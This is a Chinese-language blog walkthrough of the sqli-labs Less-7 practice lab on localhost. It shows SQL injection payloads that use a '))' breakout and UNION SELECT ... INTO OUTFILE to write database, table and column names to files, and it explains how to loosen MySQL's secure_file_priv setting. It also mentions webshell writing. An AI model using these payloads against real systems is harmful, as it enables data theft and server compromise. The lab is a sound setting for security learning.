sqlilabs--7 无法正常导出数据小结

自己在本地搭建的手工注入环境----sqlilabs 可百度下载源码搭建,网上很多教程就不再介绍

演示靶场如下:

sqlilabs--7 无法正常导出数据小结_第1张图片

 

 提示赋值一个id的值,虽然不知道是get方式还是post方式,先试试get

sqlilabs--7 无法正常导出数据小结_第2张图片

 可以发现页面进入成功,并提示use outfile。百度outfile 发现是mysql注入中导出数据库数据的用法。具体用法:

into outfile "导出数据的路径

接下来找注入点确定注入语句然后构造payload

实际渗透测试中是很繁琐的,因为不知道源码只能不断测试和猜测
我本地搭建的,就直接查看源码

sqlilabs--7 无法正常导出数据小结_第3张图片

可以看到第一句中的id参数id=(('$id')),可以利用'))绕过

sqlilabs--7 无法正常导出数据小结_第4张图片

成功绕过并注入成功,那接下来就是注入的常规步骤

爆字段:order by

sqlilabs--7 无法正常导出数据小结_第5张图片

3页面正常,4页面不正常,那字段数就是3

下一步进行联合查询:union select 1,2,3

爆数据库:database()

sqlilabs--7 无法正常导出数据小结_第6张图片

 页面是正常的,那不回显数据,说明不是常规的注入,但一开始我们就知道一个提示use outfile 那就尝试利用看看

构造payload: http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,database(),user() into outflie "E:\2.txt"%23

意思是把查询出来的当前数据库名写入到本地的E盘下,如果没有2.txt文件会自动创建

正常应该是可以在E盘发现一个2.txt文件,但我尝试了好久都没成功,只能百度了

发现有几个详解:

1、没有root权限,但这是我本地搭建的,不会出现这种问题

2、没有导入导出的权限,原因是由参数secure_file_priv决定的

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制

那我们看看我们mysql的secure-file-priv参数是什么值

show global variables like '%secure%';

sqlilabs--7 无法正常导出数据小结_第7张图片

结果为null

继续百度修改方法,我的环境是phpstudy   在打开配置文件中的mysql.ini中的mysqld下面加上secure_file_priv=  再次重启phpstudy即可

sqlilabs--7 无法正常导出数据小结_第8张图片

验证下

sqlilabs--7 无法正常导出数据小结_第9张图片

修改成功

回到靶场继续尝试payload

sqlilabs--7 无法正常导出数据小结_第10张图片

E盘下出现2.txt文件,文件内容是我们要查询的数据库名和用户信息

到这里基本测试完成了

爆表:

payload:http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,table_name,3 from information_schema.tables where table_schema='security' into outfile "E:\4.txt"%23

不知道为啥不能覆盖,那就新建4.txt

sqlilabs--7 无法正常导出数据小结_第11张图片

 所以表都出来了

爆列:column_name from information_schema.columns where table_schema='security' and table_name='表名'

payload:http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,column_name,3 from information_schema.colnums where table_schema='security'  and table_name='表名' into outfile "E:\5.txt"%23

爆字段:列名 from 数据库名.表名

payload:http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,列名,3 from 数据库名.表名 into outfile "E:\6.txt"%23

这个漏洞危害还是挺大的,比如如果secure_file_priv开启,并知道目标的绝对路径,那就可以进行写shell

这里就不再演示,晚了,也该洗澡睡觉了。

 

 

你可能感兴趣的:(sql注入)